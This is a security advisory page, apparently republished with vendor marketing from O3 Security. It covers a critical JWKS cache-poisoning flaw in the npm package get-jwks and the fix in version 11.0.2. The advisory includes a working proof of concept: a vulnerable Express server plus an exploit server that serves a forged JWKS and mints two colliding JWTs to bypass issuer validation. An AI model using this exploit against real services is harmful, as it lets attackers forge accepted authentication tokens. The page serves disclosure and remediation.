GHSA-qc2q-qhf3-235m
CRITICALGHSA-qc2q-qhf3-235m is a critical-severity (CVSS 9.4) CWE-116 vulnerability in get-jwks. O3 Security confirms whether GHSA-qc2q-qhf3-235m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass
Blast Radius
get-jwksReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.
Details
When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.
The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.
PoC
Server code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://example.com',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Exploit server that generates the JWT pair and send the public RSA key to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, {
algorithm: 'RS256',
header: {
kid: "testkid",
} });
res.send(token);
});
// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: {
kid: `testkid:${host}/?`,
} });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
kid: 'testkid',
alg: 'RS256',
use: 'sig',
}]
});
})
app.use((req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '/.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
The first JWT token will create a cache entry with the chosen public key and have the following format:
RS256:testkid:http://localhost:3001/?:https://example.com
The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:
RS256:testkid:http://localhost:3001/?:https://example.com
Impact
Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.
Solution
Escape each component used in the cache key, so delimiter collisions are impossible.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | get-jwks | all versions | 11.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for get-jwks. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update get-jwks to 11.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qc2q-qhf3-235m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qc2q-qhf3-235m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qc2q-qhf3-235m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qc2q-qhf3-235m in your dependencies?
O3 detects GHSA-qc2q-qhf3-235m across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.